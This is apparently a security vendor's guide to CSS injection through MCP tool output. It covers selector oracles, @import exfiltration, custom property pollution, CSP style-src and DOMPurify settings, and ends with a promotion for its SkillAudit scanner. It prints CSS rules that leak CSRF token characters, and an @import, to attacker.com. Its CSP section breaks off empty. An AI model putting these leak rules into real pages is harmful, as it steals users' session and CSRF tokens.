MCP server CSS injection security — CSS selector oracles, @import data exfiltration, CSS custom property scope pollution, style-src CSP, and DOMPurify style sanitization

CSS injection attack surface in MCP tool output

CSS injection occurs when user-controlled content (MCP tool output, in this context) reaches the DOM as raw CSS. This happens through three paths:

1. <style> tags in tool output HTML — if the MCP client sanitizes HTML but allows <style> elements, the entire contents of the tag are parsed as CSS by the browser.
2. style= attributes on rendered elements — if DOMPurify is configured to allow style attributes (some configurations do, to preserve formatting), inline styles from tool output are parsed and applied.
3. User-controlled CSS property values — if the MCP client constructs CSS rules programmatically using tool output data (e.g., for a visual theme or card display), injected CSS special characters can break out of the intended value into rule-level injection.

The CSS selector oracle attack

CSS attribute value selectors can match hidden DOM attributes (like CSRF tokens in form fields, session values in data attributes, or auth tokens in hidden inputs) and trigger a network request via background-image: url() only when the selector matches. By injecting many rules that probe all possible character values, an attacker reconstructs the full attribute value by observing which requests reach their server:

/* Injected CSS probes CSRF token in input[name="csrf_token"] */
input[name="csrf_token"][value^="a"] { background: url(https://attacker.com/leak?c=a) }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.com/leak?c=b) }
/* ... all 62 alphanumeric characters ... */
input[name="csrf_token"][value^="z"] { background: url(https://attacker.com/leak?c=z) }

/* After finding first char is "f", probe second char: */
input[name="csrf_token"][value^="fa"] { background: url(https://attacker.com/leak?v=fa) }
/* etc. — character-by-character extraction */

@import for chained stylesheet loading

The CSS @import rule loads a stylesheet from an external URL. If injected into a <style> tag, it causes the browser to fetch a stylesheet from an attacker-controlled server. That server can generate a dynamic stylesheet response containing further CSS oracle probes based on information from the HTTP request (referrer URL, cookies sent with the request under certain configurations, or query parameters from the URL):

/* Injected style tag */
<style>
  @import url('https://attacker.com/exfil.css?url=' + document.location);
</style>

/* Note: string interpolation doesn't work in CSS — but the browser does send Referer header
   and some servers can derive the page URL from the Referer on @import requests */

More concretely, an @import to an attacker's server causes that server to receive the HTTP request, including the Referer header (if the page doesn't set Referrer-Policy: no-referrer) which contains the full URL of the MCP client page — potentially including session identifiers, API route paths, or user-specific identifiers in the URL.

CSS custom property (variable) scope pollution

CSS custom properties (declared as --name: value) are inherited through the document tree — a property declared on :root is accessible to all elements. Injected CSS that sets :root { --session-key: value } makes that variable readable by any later CSS rule using var(--session-key), including rules from the MCP client's own stylesheets that were not designed to read attacker-controlled values. While reading a CSS variable in CSS does not itself cause data exfiltration, it can affect layout in ways that trigger URL-loading properties, creating an indirect exfiltration chain.

CSP style-src — controlling CSS injection

The style-src CSP directive controls which CSS sources are allowed. Its interaction with injection vectors:

DOMPurify configuration for CSS injection prevention

DOMPurify's default configuration removes <style> and <link> elements, which eliminates the stylesheet-based attack surfaces. However, some deployments re-enable style attributes or <style> elements for formatting purposes. The recommended configuration for MCP tool output rendering:

const clean = DOMPurify.sanitize(toolOutput, {
  FORBID_TAGS: ['style', 'link'],    // Remove <style> and <link> elements entirely
  FORBID_ATTR: ['style'],            // Remove style= attributes from all elements
  // If you need some inline formatting, use ALLOW_ATTR instead of FORBID_ATTR
  // and be explicit about which tags may have style=
});

SkillAudit findings for CSS injection

Run a SkillAudit scan to audit your MCP server's CSS injection exposure. The scanner checks DOMPurify configuration for style-related allowlists, audits CSP style-src for unsafe-inline and nonce coverage gaps, and probes whether injected background-image URL rules trigger outbound requests in a sandboxed render context.